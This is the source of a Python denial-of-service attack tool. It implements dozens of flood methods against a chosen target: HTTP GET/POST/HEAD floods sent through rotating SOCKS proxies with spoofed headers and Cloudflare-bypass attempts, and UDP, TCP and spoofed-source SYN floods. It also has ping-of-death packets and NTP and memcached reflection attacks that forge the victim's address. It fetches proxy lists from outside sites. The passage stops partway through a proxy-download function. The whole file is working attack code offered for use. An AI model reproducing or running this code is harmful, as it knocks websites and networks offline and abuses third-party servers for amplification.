#!/usr/bin/env python3 # -*- coding: utf-8 -*- l7 = ["CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "OSTRESS", "DYN", "SLOW", "HEAD", "HIT", "NULL", "COOKIE", "BRUST", "PPS", "EVEN", "GSB", "DGB", "AVB"] l4 = ["TCP", "UDP", "SYN", "VSE", "MEM", "NTP"] l3 = ["POD", "ICMP"] to = ["CFIP", "DNS", "PING", "CHECK", "DSTAT", "INFO"] ot = ["STOP", "TOOLS", "HELP"] methods = l7 + l4 + l3 methodsl = l7 + l4 + l3 + to + ot def spoofer(): addr = [192, 168, 0, 1] d = '.' addr[0] = str(random.randrange(11, 197)) addr[1] = str(random.randrange(0, 255)) addr[2] = str(random.randrange(0, 255)) addr[3] = str(random.randrange(2, 254)) assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3] return assemebled def start_attack(method, threads, event, socks_type): global out_file # layer7 cmethod = str(method.upper()) if (cmethod != "HIT") and (cmethod not in l4) and (cmethod not in l3) and (cmethod != "OSTRESS"): out_file = str("files/proxys/" + sys.argv[5]) proxydl(out_file, socks_type) print("{} Attack Started To {}:{} For {} Seconds With {}/{} Proxy ".format(method, target, port, sys.argv[7],len(proxies), str(nums))) else: print("{} Attack Started To {}:{} For {} Seconds".format(method, target, port, sys.argv[7])) try: if method == "post": for _ in range(threads): threading.Thread(target=post, args=(event, socks_type), daemon=True).start() elif method == "brust": for _ in range(threads): threading.Thread(target=brust, args=(event, socks_type), daemon=True).start() elif method == "get": for _ in range(threads): threading.Thread(target=http, args=(event, socks_type), daemon=True).start() elif method == "pps": for _ in range(threads): threading.Thread(target=pps, args=(event, socks_type), daemon=True).start() elif method == "even": for _ in range(threads): threading.Thread(target=even, args=(event, socks_type), daemon=True).start() elif method == "ovh": for _ in range(threads): threading.Thread(target=ovh, args=(event, socks_type), daemon=True).start() elif method == "capb": for _ in range(threads): threading.Thread(target=capb, args=(event, socks_type), daemon=True).start() elif method == "cookie": for _ in range(threads): threading.Thread(target=cookie, args=(event, socks_type), daemon=True).start() elif method == "tor": for _ in range(threads): threading.Thread(target=tor, args=(event, socks_type), daemon=True).start() elif method == "bypass": for _ in range(threads): threading.Thread(target=bypass, args=(event, socks_type), daemon=True).start() elif method == "head": for _ in range(threads): threading.Thread(target=head, args=(event, socks_type), daemon=True).start() elif method == "stress": for _ in range(threads): threading.Thread(target=stress, args=(event, socks_type), daemon=True).start() elif method == "ostress": for _ in range(threads): threading.Thread(target=ostress, args=(event, socks_type), daemon=True).start() elif method == "null": for _ in range(threads): threading.Thread(target=null, args=(event, socks_type), daemon=True).start() elif method == "cfb": for _ in range(threads): threading.Thread(target=cfb, args=(event, socks_type), daemon=True).start() elif method == "avb": for _ in range(threads): threading.Thread(target=AVB, args=(event, socks_type), daemon=True).start() elif method == "gsb": for _ in range(threads): threading.Thread(target=gsb, args=(event, socks_type), daemon=True).start() elif method == "dgb": for _ in range(threads): threading.Thread(target=dgb, args=(event, socks_type), daemon=True).start() elif method == "dyn": for _ in range(threads): threading.Thread(target=dyn, args=(event, socks_type), daemon=True).start() elif method == "hit": for _ in range(threads): threading.Thread(target=hit, args=(event, timer), daemon=True).start() # layer4 elif method == "vse": for _ in range(threads): threading.Thread(target=vse, args=(event, timer), daemon=True).start() elif method == "udp": for _ in range(threads): threading.Thread(target=udp, args=(event, timer), daemon=True).start() elif method == "tcp": for _ in range(threads): threading.Thread(target=tcp, args=(event, timer), daemon=True).start() elif method == "syn": for _ in range(threads): threading.Thread(target=syn, args=(event, timer), daemon=True).start() elif method == "mem": for _ in range(threads): threading.Thread(target=mem, args=(event, timer), daemon=True).start() elif method == "ntp": for _ in range(threads): threading.Thread(target=ntp, args=(event, timer), daemon=True).start() # layer3 elif method == "icmp": for _ in range(threads): threading.Thread(target=icmp, args=(event, timer), daemon=True).start() elif method == "pod": for _ in range(threads): threading.Thread(target=pod, args=(event, timer), daemon=True).start() except: pass def random_data(): return str(Choice(strings) + str(Intn(0, 271400281257)) + Choice(strings) + str(Intn(0, 271004281257)) + Choice( strings) + Choice(strings) + str(Intn(0, 271400281257)) + Choice(strings) + str(Intn(0, 271004281257)) + Choice( strings)) def Headers(method): header = "" if method == "get" or method == "head": connection = "Connection: Keep-Alive\r\n" accept = Choice(acceptall) + "\r\n" referer = "Referer: " + referers + target + path + "\r\n" connection += "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" header = referer + useragent + accept + connection + "\r\n\r\n" elif method == "cookie": connection = "Connection: Keep-Alive\r\n" more = "cache-control: no-cache\r\n" parm = "pragma: no-cache\r\n" up = "upgrade-insecure-requests: 1" connection += "Cookies: " + str(secrets.token_urlsafe(16)) + "\r\n" accept = Choice(acceptall) + "\r\n" referer = "Referer: " + referers + target + path + "\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" header = referer + useragent + accept + connection + more + up + parm + "\r\n\r\n" elif method == "brust": connection = "Connection: Keep-Alive\r\n" more = "Cache-Control: max-age=0\r\n" more2 = "Via: 1.0 PROXY\r\n" proxyd = str(proxy) xfor = "X-Forwarded-For: " + proxyd + "\r\n" accept = "Accept: */*\r\n" referer = "Referer: " + referers + target + path + "\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" header = referer + useragent + accept + connection + more + xfor + more2 + "\r\n\r\n" elif method == "even": up = "Upgrade-Insecure-Requests: 1\r\n" referer = "Referer: " + referers + target + path + "\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" proxyd = str(proxy) xfor = "X-Forwarded-For: " + proxyd + "\r\n" header = referer + useragent + up + xfor + "\r\n\r\n" elif method == "ovh": accept = Choice(acceptall) + "\r\n" more = "Connection: keep-alive\r\n" connection = "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" up = "Upgrade-Insecure-Requests: 1\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" header = useragent + more + accept + up + "\r\n\r\n" elif method == "pps": header = "GET / HTTP/1.1\r\n\r\n" elif method == "dyn": connection = "Connection: Keep-Alive\r\n" accept = Choice(acceptall) + "\r\n" connection += "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" referer = "Referer: " + referers + target + path + "\r\n" useragent = "User-Agent: " + UserAgent + "\r\n" header = referer + useragent + accept + connection + "\r\n\r\n" elif method == "socket": header = "" elif method == "null": connection = "Connection: null\r\n" accept = Choice(acceptall) + "\r\n" connection += "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" referer = "Referer: null\r\n" useragent = "User-Agent: null\r\n" header = referer + useragent + accept + connection + "\r\n\r\n" elif method == "post": post_host = "POST " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" content = "Content-Type: application/x-www-form-urlencoded\r\nX-Requested-With: XMLHttpRequest\r\n charset=utf-8\r\n" refer = "Referer: http://" + target + path + "\r\n" user_agent = "User-Agent: " + UserAgent + "\r\n" accept = Choice(acceptall) + "\r\n" connection = "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" data = str(random._urandom(8)) length = "Content-Length: " + str(len(data)) + " \r\nConnection: Keep-Alive\r\n" header = post_host + accept + connection + refer + content + user_agent + length + "\n" + data + "\r\n\r\n" elif method == "hit": post_host = "POST " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" content = "Content-Type: application/x-www-form-urlencoded\r\nX-Requested-With: XMLHttpRequest\r\n charset=utf-8\r\n" refer = "Referer: http://" + target + path + "\r\n" user_agent = "User-Agent: " + UserAgent + "\r\n" connection = "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" accept = Choice(acceptall) + "\r\n" data = str(random._urandom(8)) length = "Content-Length: " + str(len(data)) + " \r\nConnection: Keep-Alive\r\n" header = post_host + accept + connection + refer + content + user_agent + length + "\n" + data + "\r\n\r\n" return header def UrlFixer(original_url): global target, path, port, protocol original_url = original_url.strip() url = "" path = "/" port = 80 protocol = "http" if original_url[:7] == "http://": url = original_url[7:] elif original_url[:8] == "https://": url = original_url[8:] protocol = "https" tmp = url.split("/") website = tmp[0] check = website.split(":") if len(check) != 1: port = int(check[1]) else: if protocol == "https": port = 443 target = check[0] if len(tmp) > 1: path = url.replace(website, "", 1) def udp(event, timer): event.wait() while time.time() < timer: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: for _ in range(multiple): data = random._urandom(int(Intn(64, 1500))) s.sendto(data, (str(target), int(port))) except: s.close() except: s.close() def icmp(event, timer): event.wait() while time.time() < timer: try: for _ in range(multiple): packet = random._urandom(int(Intn(64, 1500))) pig(target, count=10, interval=0.2, payload_size=len(packet), payload=packet) except: pass ntp_payload = "\x17\x00\x03\x2a" + "\x00" * 4 def ntp(event, timer): packets = Intn(10, 150) server = Choice(ntpsv) event.wait() while time.time() < timer: try: packet = ( IP(dst=server, src=target) / UDP(sport=Intn(2000, 65535), dport=int(port)) / Raw(load=ntp_payload) ) try: for _ in range(multiple): send(packet, count=packets, verbose=False) except: pass except: pass mem_payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" def mem(event, timer): packets = Intn(10, 150) server = Choice(memsv) event.wait() while time.time() < timer: try: try: packet = ( IP(dst=server, src=target) / UDP(sport=port, dport=11211) / Raw(load=mem_payload) ) for _ in range(multiple): send(packet, count=packets, verbose=False) except: pass except: pass def tcp(event, timer): event.wait() while time.time() < timer: try: data = random._urandom(int(Intn(1024, 65535))) address = (str(target), int(port)) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(address) for _ in range(multiple): s.send(data) except: s.close() except: s.close() class DNSQuery: def __init__(self, data): self.data = data self.dominio = '' self.DnsType = '' HDNS=data[-4:-2].encode("hex") if HDNS == "0001": self.DnsType='A' elif HDNS == "000f": self.DnsType='MX' elif HDNS == "0002": self.DnsType='NS' elif HDNS == "0010": self.DnsType="TXT" else: self.DnsType="Unknown" tipo = (ord(data[2]) >> 3) & 15 # Opcode bits if tipo == 0: # Standard query ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + "\x81\x80" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts packet+=self.data[12:] # Original Domain Name Question packet+='\xc0\x0c' # Pointer to domain name packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP return packet def dns(event, timer): event.wait() while time.time() < timer: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('',53)) data, addr = s.recvfrom(1024) p = DNSQuery(data) for _ in range(multiple): s.sendto(p.respuesta(target), addr) except: s.close() def syn(event, timer): event.wait() while time.time() < timer: try: IP_Packet = IP () IP_Packet.src = randomIP() IP_Packet.dst = target TCP_Packet = TCP () TCP_Packet.sport = randint(1, 65535) TCP_Packet.dport = int(port) TCP_Packet.flags = "S" TCP_Packet.seq = randint(1000, 9000) TCP_Packet.window = randint(1000, 9000) for _ in range(multiple): send(IP_Packet/TCP_Packet, verbose=0) except: pass def pod(event, timer): event.wait() while time.time() < timer: try: rand_addr = spoofer() ip_hdr = IP(src=rand_addr, dst=target) packet = ip_hdr / ICMP() / ("m" * 65535) send(packet) except: pass def stop(): print('All Attacks Stopped !') os.system('pkill python*') exit() def dyn(event, socks_type): header = Headers("dyn") proxy = Choice(proxies).strip().split(":") get_host = "GET " + path + "?" + random_data() + " HTTP/1.1\r\nHost: " + random_data() + "." + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def http(event, socks_type): header = Headers("get") proxy = Choice(proxies).strip().split(":") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def capb(event, socks_type): header = Headers("get") proxy = Choice(proxies).strip().split(":") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def ovh(event, socks_type): header = Headers("ovh") proxy = Choice(proxies).strip().split(":") get_host = "HEAD " + path + "/" + str(Intn(1111111111, 9999999999)) + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def pps(event, socks_type): proxy = Choice(proxies).strip().split(":") request = Headers("pps") event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def even(event, socks_type): global proxy proxy = Choice(proxies).strip().split(":") header = Headers("even") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def brust(event, socks_type): global proxy proxy = Choice(proxies).strip().split(":") header = Headers("brust") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def cookie(event, socks_type): proxy = Choice(proxies).strip().split(":") header = Headers("cookie") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def cfb(event, socks_type): header = Headers("get") proxy = Choice(proxies).strip().split(":") get_host = "GET " + path + "?" + random_data() + " HTTP/1.1\r\nHost: " + target + "\r\n" request = get_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) cfscrape.create_scraper(sess=s) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() # def tor(event, socks_type): # event.wait() # while time.time() < timer: # with tor_requests_session() as s: # s.get(sys.argv[2]) def AVB(event, socks_type): proxy = Choice(proxies).strip().split(":") event.wait() payload = str(random._urandom(64)) while time.time() < timer: try: s = cfscrape.create_scraper() if socks_type == 5 or socks_type == 4: s.proxies['http'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) if socks_type == 1: s.proxies['http'] = 'http://' + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'https://' + str(proxy[0]) + ":" + str(proxy[1]) if protocol == "https": s.DEFAULT_CIPHERS = "TLS_AES_256_GCM_SHA384:ECDHE-ECDSA-AES256-SHA384" try: for _ in range(multiple): s.post(sys.argv[2], timeout=1, data=payload) except: s.close() except: s.close() def bypass(event, socks_type): proxy = Choice(proxies).strip().split(":") event.wait() payload = str(random._urandom(64)) while time.time() < timer: try: s = requests.Session() if socks_type == 5 or socks_type == 4: s.proxies['http'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) if socks_type == 1: s.proxies['http'] = 'http://' + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'https://' + str(proxy[0]) + ":" + str(proxy[1]) if protocol == "https": s.DEFAULT_CIPHERS = "TLS_AES_256_GCM_SHA384:ECDHE-ECDSA-AES256-SHA384" try: for _ in range(multiple): s.post(sys.argv[2], timeout=1, data=payload) except: s.close() except: s.close() def dgb(event, socks_type): proxy = Choice(proxies).strip().split(":") event.wait() while time.time() < timer: try: s = cfscrape.create_scraper() if socks_type == 5 or socks_type == 4: s.proxies['http'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'socks{}://'.format(socks_type) + str(proxy[0]) + ":" + str(proxy[1]) if socks_type == 1: s.proxies['http'] = 'http://' + str(proxy[0]) + ":" + str(proxy[1]) s.proxies['https'] = 'https://' + str(proxy[0]) + ":" + str(proxy[1]) if protocol == "https": s.DEFAULT_CIPHERS = "TLS_AES_256_GCM_SHA384:ECDHE-ECDSA-AES256-SHA384" try: sleep(5) for _ in range(multiple): s.get(sys.argv[2]) except: s.close() except: s.close() def head(event, socks_type): proxy = Choice(proxies).strip().split(":") header = Headers("head") head_host = "HEAD " + path + "?" + random_data() + " HTTP/1.1\r\nHost: " + target + "\r\n" request = head_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def null(event, socks_type): proxy = Choice(proxies).strip().split(":") header = Headers("null") head_host = "HEAD " + path + "?" + random_data() + " HTTP/1.1\r\nHost: " + target + "\r\n" request = head_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def gsb(event, socks_type): proxy = Choice(proxies).strip().split(":") header = Headers("head") head_host = "HEAD " + path + "?q=" + str(Intn(000000000, 999999999)) + " HTTP/1.1\r\nHost: " + target + "\r\n" request = head_host + header event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: sleep(5) for _ in range(multiple): s.send(str.encode(request)) except: s.close() except: s.close() def hit(event, timer): global s request = Headers("hit") event.wait() while time.time() < timer: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target), int(port))) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() def cfbc(event, socks_type): request = Headers("cfb") event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() def post(event, socks_type): request = Headers("post") proxy = Choice(proxies).strip().split(":") event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() def stress(event, socks_type): request = Headers("stress") proxy = Choice(proxies).strip().split(":") event.wait() while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() def ostress(event, timer): request = Headers("stress") event.wait() while time.time() < timer: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target), int(port))) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() except: s.close() socket_list = [] t = 0 def slow(conn, socks_type): global t proxy = Choice(proxies).strip().split(":") get_host = "GET " + path + " HTTP/1.1\r\nHost: " + target + "\r\n" header = Headers("get") request = get_host + header while time.time() < timer: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) for _ in range(conn): try: s.send(request) * conn t += 1 sys.stdout.write("Connections = " + t + "\r") sys.stdout.flush() except: s.close() proxy = Choice(proxies).strip().split(":") except: s.close() proxy = Choice(proxies).strip().split(":") def checking(lines, socks_type, ms): global nums, proxies proxy = lines.strip().split(":") if len(proxy) != 2: proxies.remove(lines) return err = 0 while True: if err == 3: proxies.remove(lines) break try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if socks_type == 1: s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1])) s.settimeout(ms) s.connect((str(target), int(port))) if protocol == "https": ctx = ssl.SSLContext() s = ctx.wrap_socket(s, server_hostname=target) s.send(str.encode("GET / HTTP/1.1\r\n\r\n")) s.close() break except: err += 1 nums += 1 nums = 0 def check_socks(ms): global nums thread_list = [] for lines in list(proxies): if choice == "5": th = threading.Thread(target=checking, args=(lines, 5, ms,)) th.start() if choice == "4": th = threading.Thread(target=checking, args=(lines, 4, ms,)) th.start() if choice == "1": th = threading.Thread(target=checking, args=(lines, 1, ms,)) th.start() thread_list.append(th) sleep(0.01) for th in list(thread_list): th.join() ans = "y" if ans == "y" or ans == "": if choice == "4": with open(out_file, 'wb') as fp: for lines in list(proxies): fp.write(bytes(lines, encoding='utf8')) fp.close() elif choice == "5": with open(out_file, 'wb') as fp: for lines in list(proxies): fp.write(bytes(lines, encoding='utf8')) fp.close() elif choice == "1": with open(out_file, 'wb') as fp: for lines in list(proxies): fp.write(bytes(lines, encoding='utf8')) fp.close() def check_list(socks_file): temp = open(socks_file).readlines() temp_list = [] for i in temp: if i not in temp_list: if ':' in i: temp_list.append(i) rfile = open(socks_file, "wb") for i in list(temp_list): rfile.write(bytes(i, encoding='utf-8')) rfile.close() def downloadsocks(choice): global out_file if choice == "4": f = open(out_file, 'wb') try: r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all", timeout=5) f.write(r.content) except: pass try: r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks4", timeout=5) f.write(r.content) except: pass try: r = requests.get("https://www.proxyscan.io/download?type=socks4", timeout=5) f.write(r.content) except: pass try: r = requests.get( "https://proxy-daily.com/api/getproxylist?apikey=3Rr6lb-yfeQeotZ2-9M76QI&format=ipport&type=socks4&lastchecked=60", timeout=5) f.write(r.content) except: pass try: r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", timeout=5) f.write(r.content) f.close() except: f.close() try: req = requests.get("https://www.socks-proxy.net/", timeout=5, headers={"User-Agent", UserAgent}).text part = str(req) part = part.split("
") part = part[1].split("") part = part[0].split("